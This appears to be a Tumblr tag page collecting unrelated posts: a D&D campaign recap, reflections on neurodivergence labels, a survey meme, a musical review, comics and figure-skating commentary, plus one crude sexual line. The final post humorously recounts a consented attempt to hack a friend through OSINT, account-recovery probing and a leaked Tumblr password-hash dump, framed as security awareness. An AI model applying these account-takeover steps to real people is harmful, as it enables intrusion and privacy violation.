#The FLUBS recently my lord

[shimmyshakemybones]

Dirty ass voice actors love spreading their legs

[catcas22]

Gushing about my new campaign!

I'm four sessions into my first campaign (as GM) and it's going great! I volunteered to run a campaign to give three of our forever-gms a chance to play, which ended up being a great way for me to get my feet wet as a gm -- three of my four players are highly knowledgeable about the rules, good at improv, and love being in character.

I've got so many plans for upcoming sessions, but unfortunately I can't rant to my usual dnd friends because they're in the campaign and I don't want to spoil the plot (@thatboreddrake this is your warning to block #catsfallcampaignspoilers).

Said spoilers below, if anyone wants to hear me ramble.

The campaign takes place in a standard fantasy setting, but about fifteen years out from a zombie apocalypse. The king got tired of paying wages to his living soldiers and figured paying a couple of necromancers to raise him an undead army would be cheaper. Things went wrong in predictable fashion.

The players are as follows:

Alvar: A bloodhunter afflicted with dragon-flavored lycanthropy after he inadvertently picked up a cursed coin from the horde of a lichdragon. He can't get rid of the coin now, and is violently paranoid that someone will try to steal it from him. Since he killed quite a few people before he learned to somewhat control his curse, he now travels the land protecting innocents and slaying less scrupulous monsters as a way to pay back that debt.

Xenitor: An owlin abjuration wizard. A field researcher for a network of scholars working to gather and preserve as many spells and texts as possible, before they are lost forever in a zombie-induced Dark Age. The type to try to steal Alvar's coin out of pure scientific curiosity.

Hiro: Tom Sawyer-flavored bard. An optimistic young drifter just looking to make friends and go on adventures (who is a reborn and doesn't know it). Due to constantly flubbing his history/insight checks, he still sees Sebastian as a perfectly trustworthy, somewhat eccentric, but definitely-not-a-vampire gentleman. He has seen Sebastian walk on walls and bite people.

Sebastian Pietro Vasquez de Cornelio IV: Dhampir conquest paladin. A nobleman from a family that intermarried with vampires generations ago, recently cast out for mouthing off to the family patriarch. Talks like he's in the Spanish Inquisition, dresses like he's in the Swiss Guard. Having been disinherited by his family, his goal is now to start his own noble house, presumably with blackjack and hookers.

It took him five minutes to surprise-adopt Hiro to act as his herald.

After saving the small town of Alderford from an undead horde, the party did a bit of investigating and found that the town's palisade had been sabotaged. Asking around town revealed that the local liege lord, Barnabas Dunwich, had raised taxes to the point where the people of Alderford said he could take his troops and leave, they'd raise a militia to defend themselves rather than continue to pay his protection money.

A bit more poking around, and the party correctly concludes that Dunwich had left some men behind to deliberately lure the undead towards Alderford. Party sets out for the abandoned watchtower, where they believe Dunwich's men to be hiding.

This is about where the derailment started, but I'll write up the rest later. Suffice to say, I'm having a great time!

[eats-the-stars]

Did this with ADD/ADHD, too. My sister struggled getting someone to take her combination OCD + ADHD diagnosis seriously as an adult because ADHD is "over-diagnosed" and they mainly just slap it on energetic or difficult kids like a bandaid and she was an adult, so they just diagnosed her with "general anxiety disorder" for years and called it a day. But now she's finally got the correct diagnoses and the meds and has shown marked improvement. Since, you know, she actually does have OCD and ADHD and needed these meds for years.

She never thought to look into OCD at all until recently, either, because the popular depictions didn't really match her issues and people usually say "Haha I'm kind of OCD" to mean "I don't like germs" or "I'm a stickler for organization" and don't touch on the intrusive thoughts or compulsive behaviors that aren't geared towards cleanliness.

Meanwhile I'm autistic. Like, classic no-eye-contact, don't touch me, toe-walking, only wears certain fabrics, had to get surgery as a kid because I decided to stop going to the bathroom and got so backed up it killed half a kidney, reading Lord of the Rings in 2nd grade, getting called the "R" word constantly kind of autistic. And I have to deal with even my close family saying they might be a "little autistic" too because they, like, aren't fond of loud music and crowds, flubbed a social interaction recently, and are really passionate about their interests.

And I have to sit here like "Yeah, I don't think so." Like, I do think my dad is probably autistic. And my 4yo nephew. But that's literally it. And neither of them is pulling this shit on me. My sister I kind of get because she is OCD/ADHD and spent a long time knowing she had issues but not having a definitive diagnosis. So her saying "maybe I'm autistic" was less "Haha, maybe I'm such a picky eater because I'm actually autistic" and more "I am sifting through every label trying to find the right one because my life is falling apart and I need help in the form of meds/therapy but it needs to be for the correct thing or it won't work."

But she also keeps theorizing that other people might be autistic when I know they're not. Sorry but your boyfriend is just super bad at reading a room, that doesn't make him autistic. I know you wish there was a concrete medical reason for why he flips out when someone, like, moves his weird nut milk to a different spot in the fridge and doesn't want you...eating in bed? But those are actually really low-ball normal things for people to get annoyed about.

I think the underlying problem is the need to pathologize every behavior and trace it back to a source condition. When sometimes people just do shit because we all have free will and emotions and habits and issues that develop without stemming from any kind of disorder or condition. The average neurotypical person is still, quite often, going to be a bit of a weirdo. But being a clean freak, or a picky eater, or a bookworm, or an introvert, or having a short temper don't mean you MUST have a condition.

the way people online talk about autism is getting really weird, like do they know that neurotypicals still have interests? that someone being passionate about a hobby doesn't mean they're autistic? you guys know that right

[lovemesomesurveys]

Do you always carry breath mints? Nope. What is the point of scented pens/pencils/erasers? No point, really. People just like them. *shrug* They were kinda fun to have when I was a kid. Do you buy/wear band-aids with cartoon characters on them? We usually just get the plain, simple ones but I don’t mind wearing ones with cute characters or designs. Are you amused by celebrity fashion flubs? I just see some of (a lot of, honestly) the stuff celebrities wear and I’m just like....why? I see the things that are considered fashionable and I really just don’t get it. And they’re not cheap stuff either. What do you think your reaction would be upon entering the White House? I think it’d be interesting to go on a tour of the White House.

Do you buy and wear crazy looking socks? I used to get fun colors and cute designs and such when I was younger, but now I just stick to simple, plain ones. Would you run down the street wearing a tutu, fishnets, & flippers? Nah. Have you ever grown your own sea monkeys or dinosaurs? Oh, those little things that grew when put in water? If so, then yes. Those were really cool as a kid. Would you want to travel into deep space? Nooooo. Just the idea of that is terrifying. Have you ever thrown a game controller (or the game) and broke it? No.

Did you ever own an Etch-a-Sketch? Yeah. Do/did you ever have glow-in-the-dark stars on your ceiling? Yep yep. That was like the staple of a 90′s kid room. Does your house have an attic that had stuff in it when you moved in? My house doesn’t have an attic. What movie were you really worked up for that ended up disappointing you? I wasn’t worked up or dying to see Gretel and Hansel, but I saw it recently and yeah it wasn’t good.  Does/did your school have special dress-up days? Yeah, my elementary, middle school, and high school had those.  What cartoons did you watch when you were little? 90′s shows on Nickelodeon, Disney, PBS, Kids WB, and Saturday morning cartoons.  Do you eat peanut shells along with the peanuts? No. Have you ever gone white-water rafting? Not for real, no. I’ve only been on the amusement ride version. I definitely couldn’t do the real thing. What part of a paper is hardest for you to write? Honestly, the hardest part for me was always just getting started. Once I got started; though, I was fine. Does your grandma wear an apron when she cooks? No. This is your chance to get it out! Place random rant here: Nah. How often do you need “me” time? I’m someone who needs time to myself to just do my own thing and rest.  Does it bother you that almost everything is done on computers now? No. I’m all about the convenience of doing things like shopping, paying bills, filling out forms, looking things up, having easy, quick access to various things, etc. Also great when you’re not a social person like me, but can be “social” on various social medias. I can see what people are up to and be in the loop about things without even communicating lmao. That sounds awful, but hey. You can reach more people that way as well.  Have you ever gotten stuck in a revolving door? No. Who is your favorite superhero? Iron Man, Star Lord, Spiderman, and Ant-Man.  KFC Chicken: original or extra crispy? I don’t like KFC. What class in school do/did you secretly love? I didn’t have any that I secretly enjoyed.  What animal do you most resemble while eating? Growing up my family always jokingly said I ate like a bird cause I picked at everything. And a sloth cause I was (still am) a slow eater.  Pop-Tarts vs. Toaster Strudels. Discuss: I like both. Not much to discuss lol I just think they’re good. Do you believe there are subliminal messages in songs? I think there can be. Ha, remember the big conspiracy back in the day about playing songs backwards to hear secret messages. Think about your first kiss. Did you have any idea what you were doing? Nope. It was awkward, but quick.  Would you play Jumanji, if given the chance? I’ve never seen the movies, but from what I know; absolutely not!

Name a song lyric you heard wrong the first time and what it really said: I can’t think of a specific one right now and don’t feel like giving it much thought. Do you text/call while going to the bathroom? (Go multitasking!) No. Do you always make sure your cell phone is charged before going somewhere? It usually is. I do charge my phone every night before bed; though, and it’s usually fine throughout the day until the next charge. It just depends how much I use my phone, I guess. And how long I’ll be gone and whether I have access to a charger. My parents and brother have phone chargers in their cars, so. Did you get Happy Meals just for the toys as a kid? I wanted the food, too. haha. Plus, McDonald’s happy meals used to have these cookies that were shaped like the different McDonald’s characters that were actually really good. Have you ever seen your parents cry? If so, how did it make you feel? Yes. I’ve seen my mom cry on several occasions and my dad cry less than a handful of times, but regardless of how many times, it really hurts me to see them cry.  What are your thoughts on Chuck Norris? I remember when Chuck Norris jokes were a big thing in like middle school for some reason. I never really knew who he was at the time, I just saw in an informercial I think haha. Did you answer that last question with a random Chuck Norris fact? Well, not about him, specifically. I shared a random fact from my childhood involving him.

What is the most annoying sound in the world? That makes me think of that scene from Dumb and Dumber, ha. Anyway, for me one of them is eating sounds. The smacking, sucking, slurping... C R I N G E. Do you honestly care about calories and fat content? No. Do you often shift blame towards others? I’m actually quick to blame myself for everything. I can be understanding and forgiving towards others, but be very harsh, critical, and unforgiving towards myself for the same things.  Do you ever feel like you’re smarter than your boss? I don’t have a job. Your very first best friend: Is he/she STILL your best friend? My mom still is. Do you add condiments to your ice cream, or just eat it plain? I liked strawberry and/or chocolate syrup with vanilla ice cream. I’m not a sprinkles gal. Have you ever witnessed a crime? Shoplifting.  What’s the coolest personalized license plate you’ve ever seen? I can’t think of one right now. Did you ever have a piggybank that literally ate your money? No.

[schmergo]

Scarlet Pimpernel at Lincoln Center (informal review)

I just saw the most amazing show at Lincoln Center last night. I said to someone the other day that I don’t usually write informal “reviews” of limited-run productions because nobody else would probably be able to get tickets to them, but this was something special. It was a one-night only semi-staged version of The Scarlet Pimpernel, which originally ran on Broadway from 1997-2000 and has never yet been revived. A rarely-performed musical, my friend Wren and I discovered it in 10th grade and quickly fell in love with the catchy score but never thought we’d see a professional production.

When I first heard about the Lincoln Center concert, I burst into tears with excitement and thought, “Oh MAN, I wish I could go!” and moped around for a few days. Then I realized, “Hang on, I have some money saved. I have lots of unused vacation days. It’s only a four-hour bus ride away. What’s stopping me from going?” And I am so glad I did. Was it a flawless production? No. Was it painstakingly and meticulously designed and rehearsed? Definitely not. But was it one of the liveliest, most entertaining shows I’ve seen with top-notch vocals, hilarious gags, and tremendous audience response (actors sometimes having to cut off the excessive cheers and applause after certain numbers) that culminated in a 100% standing ovation? All that and a bag of pommes frites.

If you’re unfamiliar with the story, The Scarlet Pimpernel is based on a classic adventure-romance novel by Baroness Emmuska Orczy. Set during the French Revolution, it’s often called the original superhero story, in which a disguised vigilante hides behind a mild-mannered secret identity. When fashionable English gentleman Sir Percy Blakeney suspects his new bride, Marguerite, may be a spy for the French Revolution, he sets off on a mission to rescue innocent people from the guillotine- without his wife finding out. But he and his band of merry men don’t fight terror with terror. No, they employ witty disguises, tricks, and antics, leaving behind the mark of a flower called the Scarlet Pimpernel (Percy’s family crest). Back home, the men escape suspicion by exaggerating their mannerisms into ridiculous caricatures of fancy fops who care more about French lace and silk than French Revolutions.

But when Marguerite’s ex-lover Chauvelin (now a high-ranking French agent) blackmails her into discovering the true identity of the Pimpernel lest her brother die, she little knows how close to home her mission will hit.

It sounds like it could either be an overwrought melodrama or a Looney Toons short- and indeed, it is a bit of both. The musical itself endured many extensive rewrites during its short run, never quite finding the right balance. This concert seems to be a mish-mash of about three different past versions with at least one new song. But despite the jarring shifts between heart-wrenching ballads and silly slapstick in which tap shoes become a valuable component in a duel and executioners are distracted by 123 rampant geese, this performance was so rich in heart, joy, and spirit that the whole audience beamed along.

Of the leading roles, the only one I’d never seen or heard before was Tony Yazbeck, inhabiting the many hats (literally) of the Pimpernel himself. I can confidently say that he gave one of the most brilliant performances I’ve ever seen, period. Although he’s already an accomplished performer, I suspect this one-night show might catapult him to being a massive star. He’s, like, a quadruple threat, with so much stage presence that he shimmers. Yazbeck’s Percy can be ludicrously silly or achingly sincere, powerful or vulnerable, with a powerhouse voice and untiring energy and grace. I was sitting close enough to see all of his facial expressions, however over-the-top or subtle, and he was totally immersed in the character the entire time, sometimes hurling his script to the ground with emotion. (Remember, it was a staged concert with about a week of rehearsal.) He frequently breaks the fourth wall, trying to steal a violinist’s bow, dropping ad-libbed comments, sitting in the audience or dancing down the aisle, without dropping his polished English accent. I can’t wait to see what he’ll do next.

My personal favorite singer, Norm Lewis, co-starred as sinister French operative Chauvelin, who I can best describe as a more seductive Javert who is constantly humiliated by those around him. Having recently seen him in the Music Man, in which he gave a jovial performance but struggled with some lyrics, I was relieved to see that he held his script in hand most of the time here. He still flubbed the occasional word and seemed overly reliant on his script at times, but oh my good golly, I have NEVER heard his voice sound better. He has one of the richest, most powerful voices on Broadway, not to mention a huge vocal range, and this score puts all of it to use. This is the 6th time I’ve seen him live (plus his filmed performances in the 25th anniversary Les Mis concert and NBC’s Jesus Christ Superstar), and every song he sang here sent huge chills up my spine and fireworks off in my brain. Gosh, I love him. I do think Mr Lewis bit off a little more than he could chew doing these two semi-staged concerts only a week apart— he did seem less confident than the other performers— but I still feel so lucky to have seen him in both.

Laura Osnes sparkles as the sensitive and vivacious Marguerite. Her voice is higher and lighter than how I’d heard the role performed before, but she can certainly belt out a tune when required. She gives nuance and genuine feeling to Marguerite’s inner conflict, even joining in a sword fight to defend her husband! Osnes shows remarkable poise, rarely consulting her script. She has especially great onstage chemistry with Corey Cott, who plays her little brother with earnest puppy dog eyes and a strong pop vocal.

Though I didn’t like all of the changes in the song listing, lyrics, and script, I was completely invested the entire time. The able and versatile ensemble took on a variety of roles, from Percy’s merry men to French guards. Drew Gehling gave a particularly scene-stealing turn in the dual roles of Robespierre (stern and sardonic) and the Prince of Wales (utterly zany and wearing a magnificent feathered hat). Backed by a chorus of over 200 people and a full orchestra, the music was nothing short of sublime.

The pared-down nature of the show mostly came across in costumes and props, or lack thereof- Percy’s elaborate 18th century suits were clearly necessary to the plot, but stood out against most characters’ contemporary clothing. Supporting characters merely threw on a cheap-looking accessory or two to connote a different character or disguise, and Marguerite wore modern ball gowns. Sometimes, the script referred to characters changing clothes without the actors actually doing so. Still, the movement and staging was more complex than I had expected, and I was particularly taken by the effective guillotine prop.

All in all, I left the theatre electrified and touched that this huge audience- David Geffen Hall holds 2,738 and this show was pretty much sold out- had all seen and evidently loved this musical that means so much to me, that over 200 people put in so much effort and enthusiasm to bring it to life, and that I got to be there.

Another thing that unexpectedly moved me was Percy’s character arc. I’ve always strangely related to Percy despite not being heroic, rich, or fashionable, but I AM known for being kinda silly and flamboyant. And like Percy, I like to think there’s more to me than that. Although Percy becomes the Pimpernel out of anguish and desperation, he seems to genuinely relish getting to act so weird and over-the-top. He seems so comfortable in his own skin. Even when his identity is unmasked, he continues to be outlandish, even forcing Chauvelin into a tap dance battle. He and his wife desperately love one another, his friends care about him and always have his back, and he’s able to be his true and complete self— strong, smart, and brave, yes, but also in touch with his feminine side, compassionate, theatrical, romantic, and generally outrageous. As someone who feels equally accepted by my loved ones despite my outsized personality, I love this non-conformist romantic hero who proves you don’t have to be macho and grimly stoic to save the day.

“And that is why the lord created men!” Percy sings after springing a trap on Chauvelin. Marguerite and Madame Tussaud, who both helped, cough. “And women!” he sings to cheers from the audience.

I loved this show. I wish you could have been there. I’m heading home on the bus right now and this piece reminded me more then anything how much I value and appreciate all of the people in my life. Onward, ho!

[davidmann95]

Opinions on doomsday clock 2?

SPOILERS, CLEARLY

Reading Doomsday Clock is like, for instance, watching an advertising firm, after years of basic straightforward stuff, incorporating watercolors into their billboards and magazine pages. They’re competent enough at what they do that it’s not immediately off, it improves their quality, but you can tell they don’t have more than a surface-level grasp of what they’re using as a tool, and the demands that come with it. That emptiness is palpable. Doomsday Clock’s ambitions are still laughable. This is still a child sitting at the grown-up table…but this is also still probably the best thing Geoff Johns has ever done and ever will, and Gary Frank is absolutely killing it, so I can’t hate it, or even not like it. If this was a ‘normal’ event comic of comparable quality by the same team, I’d probably be running up and down the streets praising it. Inviting the Watchmen comparison…well, I’m not spending every page actively wondering why Tom King isn’t writing it, so that’s impressive, but that’s still a comparison that undercuts literally everything it does.

As far as specifics go: bringing Comedian back is of course the major flub of the issue (aside from underselling the bomb going off, the entire driving THING of Watchmen, though it at least changes the perspective as massively as possible). That being said,I have to admit I like the Supermen Theory. It would be dumb as hell outside this context - oh boy, superhero government conspiracies explaining everything, what a unique twist - but this is something where the Watchmen connection actually does improve things, as every element of this story should be constructed around. Watchmen was a ‘realistic’ superhero universe that Veidt saved (for a bit) by tricking people into believing in something impossible to unite them. Now, something is reversing that ploy, lying to a fantastical and basically stable world that they actually live in a realistic superhero universe and starting to tear society apart. If we’re throwing a full-on supervillain plot into this mess - whoever’s it is - this is exactly what it should be. Doomsday Clock can so far number an entire notably good idea for each issue (the first’s being that Rorschach’s successor is clearly a delusional fan who doesn’t actually understand his predecessor and the twisted values he stood for in the slightest), so good on it.

And good lord, it’s cheap as hell, but along with the Lex/Ozy bit, I laughed my ass off at this:

Boy, if that’s not a brutal summation of their post-1986 conceptual relationship. This dude’s the future, Batman, and he’s taking the food right off your plate, get on his level or get left behind! And is it just me, or is Batman in the yellow oval suit again? He’s got the classic belt instead of what he’s been running around with recently, and that slice of yellow across the edge of his chest sure seems to indicate that more than the thin border surrounding a black bat he has now. If they’re switching to an evergreen look for Batman given they want this to be a bookstore perennial (this isn’t aimed at the weekly zombies, I suspect, so much as the people who buy 5 comics ever in the hope this’ll be their 6th), perhaps my hope that Superman will soon be announced as dramatically switching back to his real suit in Action Comics #1000 - hence why we haven’t seen him in-costume yet in here a year in the future, which would spoil it - isn’t entirely a flight of fancy?

Speaking of Superman, my official theory: now that they’ve progressed from “maybe Manhattan made the New 52″ to “maybe Manhattan made *all of DC*” the way I predicted, I now think that “he could be one of them” hint is going to lead to a fake-out that Superman is and always has been Manhattan in disguise without even knowing it. That’s too substantial a hint to not follow up on, and while having him turn out to be Captain Atom or whatever would make technical sense, it’s him being Superman that would actually matter to the casual bookstore audience Doomsday Clock is surely ultimately aimed at in the long term. Or maybe Jon Kent for the John-Jon connection, but I’m thinking Johns is going to go straight for Big Blue. So there’ll be a whole Jekyll-and-Hyde, everything-you-know-is-wrong thing, and then it’ll turn out that nah, of course not. I’m also expecting, given Johns has now outright said that Ozymandias/Rorschach Redux/Marionette/Mime are the main characters despite his original statement that this was at heart a Superman story, that the actual Superman/Manhattan confrontation and conversation is only going to be one issue close to the end, almost certainly deliberately in the model of Watchmen #9.

[the-real-xmonster]

A bunch of Yuzu asks

Anonymous said:

Could you tell us a little about what happened in the 2012-2013 National? I know that Yuzu won, some people did not like it and something made him very upset, but I only know that. I tried to look for some information in the GS but I did not find anything.

I think you summed up the chain of events pretty comprehensively there. It was the first Japanese National title for Yuzu, which did not go down well with some people. Most of those unhappy folks were supporters of Daisuke Takahashi, who was at the time the top male skater in Japan and a very, very popular figure with lots and lots of fans. I did not witness it firsthand, but I heard that those disgruntled fans took it upon themselves to make a ruckus during the medal ceremony. Plus after that there was plenty of talk circulating about how Yuzu’s win was undeserved. All of which, of course, made Yuzu quite depressed. I think I read somewhere that the backlash extended further when he didn’t medal at Worlds that year. His performance at London was affected greatly by his injury, and his comeback free skate was, by all accounts, an extraordinary effort, but well, die-hard fans just can’t be reasoned with.

Anonymous said:

Do you remember your reaction to the cup of china 2014?

Oh my lord, yes, only all too well. I’m actually having the shivers just from typing this. I remember being confused at first and then worried and then full-blown panicked and hysterical as Yuzu kept lying there on the ice and no help seemed to be coming. I remember thinking that it was at the same time one of the bravest and the most foolish things I’ve ever seen when he insisted on skating his program. I remember biting my nails and practically hyperventilating every time he went for a jump. I remember feeling, I don’t know how to describe it, emotionally overloaded, I guess, when I watched him break down in tears at the K&C. 

I remember vividly that it was the day I decided that this incredibly brave and foolish kid is my most beloved athlete on the face of Earth and that I would forever support him in whatever he does.

Even now I still get the anxiety whenever I see him in warm-up. Why did you do this to me, anon, why?

Anonymous said:

yuzu's 4S is the scariest thing, like you never know when he's gonna land it, and when he does, it's so insanely beautiful?? I was rewatching seimei at aci and his 4S combo was so fast his quad looked like a triple???? this isn't a gif request or anything but I just wanna share my admiration at his speed in the air and I know you'll get it

I totally agree with every of your points, have gone ahead and make a gifset for it, and have gushed my heart out about it too in a lengthy and largely redundant love letter to His Majesty :D If there’s any positive takeaway from that disastrous free skate at SCAC, I’d say it’s the confidence he seems to have gained on his quad Salchow, or as I like to joke:

that awkward moment when you fell on your best jump popped your second best jump and nailed your least reliable quad 

#just yuzuru things 

Anonymous said:

i feel like yuzu sometimes changes his biellman to an a spin if he's not doing well in the program? does the biellman take effort apart from flexibility? or does the a spin allow him to think like, oh what should i yolo later   

The Biellmann position is quite taxing on his back and shoulder and Yuzu doesn’t really need it to hit level 4 on his free skate combination spin, so yes, when he doesn’t feel well enough he will skip it. Like at 4CC this year, he said he was feeling a bit stiff, so he didn’t do a Biellmann in either his free skate or the gala after. Another advantage of switching to an A-spin is that it's an easier position to hold, so it would allow Yuzu to slow down or speed up accordingly to bring his choreography back in sync with the music, in case he missed a beat or two earlier due to a flubbed jump :)

Anonymous said:

I know you mentioned you're currently working on skating skills/spinning tech posts, so if you kind of cover my question in those, please ignore this ask!! there seems to be a varied consensus on yuzuru's spins - some say he's the best in the field at the moment, and I wanted to know if you agree/disagree/other, and if you think his technique has worsened at all in recent years? (thanks for all the magnificent posts btw, i live for them <3)

I wouldn’t say Yuzu is the absolute best spinner in the men’s field right now. He’s one of the best though, that’s for sure :) In a post which has been in my draft since dinosaurs walked the earth, I’m comparing his spins to Jason Brown’s and when I eventually post it (hopefully later today if I manage to make all the gifs I want to make to go with it), you’ll see that my position (no pun intended) is that they’re on the same level.

As to the development of Yuzu’s spin technique over time, I’d like to recycle these gifs:

SP Étude in D-sharp minor, 2011-2012 season:  

SP Let’s Go Crazy, 2016-1017 season:

Doesn’t look like his spin is becoming any rustier with time: flexibility, control, balance, musicality, everything is still there. If anything, he’s been getting better at gaining speed, especially during sit spins, plus both his flying entries and jumps within spins are becoming a lot more stable:

(appreciate also that smooth transition out of the Biellmann - it’s a new feature developed just last season, you know)

[defaultnamehere]

Operation Luigi: How I hacked my friend without her noticing

This blog has moved! This post and other mistakes are now at https://mango.pdf.zone

Hello and welcome to a blog post. I am writing it and you are reading it. It's amazing what we can do with computers these days.

Several months ago

I'm at a ramen place with my friend Diana. Diana isn't her real name, but we're going to pretend it is because that's what all the cool journalists do and I wanna fit in too so don't ruin this for me okay.

I ask her if it would be okay for me to try and hack all her stuff. She's instantly visibly excited. I explain how this could result in me seeing everything she's ever put on a computer ever. She tells me she thinks this is going to be "so good". We lay down some rules:

I'll start some time in the next 12 months

No deleting anything she has

No disrupting her daily life

Stop asking if she's sure it's okay

Bonus rule from me: Do this entire thing in stealth mode. Don't ever let Diana know that I've started until it's too late.

I mean, obviously it worked since you and I are having this nice little textual discourse right now. Take my hand metaphorically, and I'll guide you through what I tried, my many flubs1, and how to protect yourself from what I did2.

And uh also at the end Mario's green friend is there.

Part 1: Research

"""Open Source Intelligence Gathering""""" AKA googling furiously and pretending you went to uni for this

Alright uh I'm pretty sure the first thing you do when you're hacking someone is find all their personal information. I'm talking about her email, phone number, address, star sign, whether she uses Android or Windows Phone, her birthday, and so on.

Jeez we're gonna need to know her email address aren't we?

People put lots of their information on LinkedIn (an information landscape that connects your inbox to people you met once in a bar and will forever file under "misc") because it tells them to.

The first thing I see on Diana's LinkedIn3 is her email address. I hastily put on my black hoodie and get my arms a bit stuck in the sleeves. Hacker voice I'm _in_4. Immediately I sigh and put my hands on my temples like a stressed-out banker. It's a @hotmail.com address, which surprises me since, well, who's using Hotmail in the year of our lord 2017? I mean geez if you used hotmail you'd miss out on gmail's excellent security features heyoooo

[x] email address [ ] the respect of my peers

Does she use this email for Twitter?

Yep.

How about her phone number?

I type a bunch of extremely clumsy things into Google. I'm talkin' "dianalastname@hotmail.com phone". A matrix of what looks like zeroes and ones but is actually Google search results flies down my screen at about the speed a normal person would scroll at.

There's a sign-up page for a club she started at her university. The page says "Contact Diana Lastname at dianalastname@hotmail.com or [her phone number]". pew pew got 'em.

[x] email [x] phone number [ ] the respect of my peers

Storing the goods

I paste all these things into a Google Doc - an advanced NSA hacking tool leaked in the recent Shadow Brokers incident.

While googling securely, I find an old blog of hers from 2009. It has a search box. I immediately slam "pet", "cat" and, "dog" in that search box like it's 2009. The name of someone's pet is often somehow involved in their security, either as their password or as a "Security""" question or something. I find the name of her dog from 2009 and vigorously paste it into my Google Doc.

Let's try getting into her iCloud account

Armed with my weapons-grade Google Doc, I'm ready to have a go at trying to get into something of Diana's5.

I don't really have a good reason for going after iCloud, so if you could just give me a break for one second

If I click "Forgot Apple ID?" on iCloud, by entering Diana's full name and email address, Apple tells me her Apple ID, and my screen permanently changes to green-on-black text to suit my new lifestyle.

I'm clicking around and there's a section called "account recovery". Sure, I'll have a go.

I can recover the account by clicking "I've uh lost my phone and forgot my password AND locked out of my email". Apple says "okay you colossal bozo, fine, but give us a phone number you CAN access, and we'll SMS you instructions to get back into your account". If I was in a movie doing ~crimes~ then I'd use a burner phone number. But since this is just my friend, I use my real phone number. I get an SMS from Apple being like "We received your request and will get back to you within 4 to 6 business millennia. Our Neo-Future Customer Service Representatives will contact your next-of-kin by whatever means of communication is prevalent at the time."

There's another "account recovery" option that says "use a device you already have". I click this, hoping to get a list of Diana's Apple devices. Instead it gives me this:

Daaaaaaaaaaaaaaaammmmit.

I have taken the wrong path in this text adventure game.

I've just notified Diana that someone's trying to reset her account.

For me that would set off all kinds of alarm bells and I'd start furiously investigating what's going on with all my accounts because I'm very cool and collected. But I'm just going to hope that Diana is a normal human being who is not obsessively paranoid like me and just ignores all of those pesky automated emails from Apple and Microsoft being like "blah blah account blah" or "blah blah new sign in blah" because I mean who really has time for those we've all got places to go and phones to scroll I mean reallY who's gonna pay attention to one liTtlE email when there's a whole OCEAN of low quality memes to scroll past on Facebook? I mean wouldn't you rather see some nice political memes? Newsfeed alert: Some guy from high school has just been tagged in- oh wow lOok this one's about your local government, wowee they've even managed to use the meme font while standing their ground and writing all the text as though it's a trying-to-sound-formal letter from your school principal who is still desperately trying to combat cyberbullying using nothing but stern words and beginning every sentence with "In regards to...."

There's no way for me to know if she saw the notification, so I stop rolling around on the floor whispering about low quality memes and get back to work.

Several days later

My phone rings. I can feel the vibration in my pocket and I'm like "is someone calling me here in the year of our lord 2017 I can't believe this". I don't recognise the number.

"Hello?"

"Hi, who am I talking to?"

"It's uh Alex."

"Alex?"

"Yeah."

"Alex ``?"

"Uh, noooo it's-"

"Ohhhhhhhhhhhhh."

"Wait so who am I talking to?"

It's Diana.

"What's up?", I ask.

She explains to me how she got an email from Apple about her account and there was a phone number in it. I tug my collar several meters into the next room, knocking over several carefully-potted indoor plants.

I hit pause on this whole thing, immediately own up, and say "yep, that was me, no need to worry, and I didn't get anywhere, your iCloud account is safe and s- WAIT a minute are you telling me you got an email from Apple saying someone tried to reset your account, realised it wasn't you, saw the phone number, and then CALLED it? What was your plan if some hacker answered??"

She didn't have a plan. She just called it as soon as she saw it, the absolutely off-the-rails lunatic.

We have a nice chat and agree to hang out later. She asks me if I've "hacked her already", and I say "no comment" to preserve my so-far flawless operational security.

Before I hang up, I wanna show off my work so far.

"Hey Diana, one more thing"

"Yeah?"

"Check it out. Did you ever play a game called........ Fashion Fantasy Beach?"6, I say, coolly and relatably.

Diana freaks out and starts laughing. She's forgotten about this game and me reminding her of her account brings back good memories.

"Can you like, find all the accounts I had on all those game websites?"

Sweet young Diana. If only it worked that way. Hacking can only be used for stealing government secrets and ransoming bitcoins. It's just not that simple.

"By the way, just checking, it's still okay for me to try and hack all your stuff right?" "SO okay"

Part 2: Hackinggggg

At this point I could reset Diana's password for some services by answering her "Security""" Questions with all the information I've gathered.

But, I realise, far too late and to the live studio audience's disappointment, that would violate the "don't interfere with her daily life" part of our deal. If I reset her password, this will lock her out of whatever account I reset. So, I have to get access stealthily. This will uh heavily involve knowing her password rather than resetting it.

For a long time I consider doing the renaissance-era "send 'em a word doc with a macro in it to get control of their computer then submit to defcon" but I worry that sweet young millennials like Diana don't even use Word because they do everything on their phone or Google Docs while simultaneously consuming 17.28 avocados per second look it up.7

I guess that makes the most valuable thing in her life her email. If you remember earlier, I cunningly divined her email address in Part 1, so I'm basically halfway there. If I get her email, I can just reset her password for Facebook, Twitter, Fashion Fantasy Beach, etc. My cyber attack vector cyber entry point exploit would then be typing the password into the Hotmail login screen using the Google Chrome Web Browsing Software.

The shady password market

Alright listen we're about to go into password paradise so buckle whatever it is you normally buckle. Hackers right, they hack websites. Hoo boy they just love to pop those hypertext pages. Like Dropbox, MySpace, LinkedIn, Adobe, Tumblr, and many, many more. They try to steal everyone's username and password from these sites by making a copy of the database and taking it. Sometimes, the database of usernames and passwords they steal gets released on the ~dark web~, for free or for money. Conveniently, there's a website (https://haveibeenpwned.com) which lets you type in your email address (not your password you big bozo) and find out whether any of your passwords have appeared in these leaked stolen databases.

But.... nowhere does it say you have to type in your email address. Cunningly, I type dianalastname@hotmail.com, executing hacking.

Here we can see a couple of websites Diana has accounts on have been hacked. The only one which had passwords stolen for Diana was Tumblr. So the next goal is to acquire the Tumblr database leak from 2013.

Let's get the old Tumblr database

I try to use my ~hacker connections~ to get a copy of the Tumblr database. I meet a someone whose forum handle is like d4rkrayne or whatever in a local park at 11pm. A colossal vape cloud leads me to him, waiting under a tree, puffing furiously. I look down my 1987 mirror-tinted aviators and say "how much?" (my voice comes out several octaves lower and all grizzly like a 40-year-old generic white dude movie star with like, juuust the right amount of stubble). He sells me the database on a pile of 442 floppy disks for 5,000 credits. What a ripoff. I teleport behind him, say "nothin' personal, kid", and hoverboard-kickflip into the night.

...I download the Tumblr database from a publicly accessible, unauthenticated, absolutely non-dark web website. I scramble to get back in my black hoodie, and whip on a second pair of sunglasses over the first. I'm in.

Ancient forbidden password rituals

The Tumblr database dump - a hacking Quest Item - is one long file with lines that look like this:

coolrelateabledude123@gmail.com:3a1920ceb2791d034973c899907847cb58810808

That weird thing after the email is a password hash. A password hash is like a scrambled up version of the password. You can't unscramble it. If you know the password though, you can scramble it and get the same omlette, if ya know what I'm sayin'🍳.

My goal here is to figure out what Diana's actual password is, given that I have her password hash. This process is commonly known as "hacking".

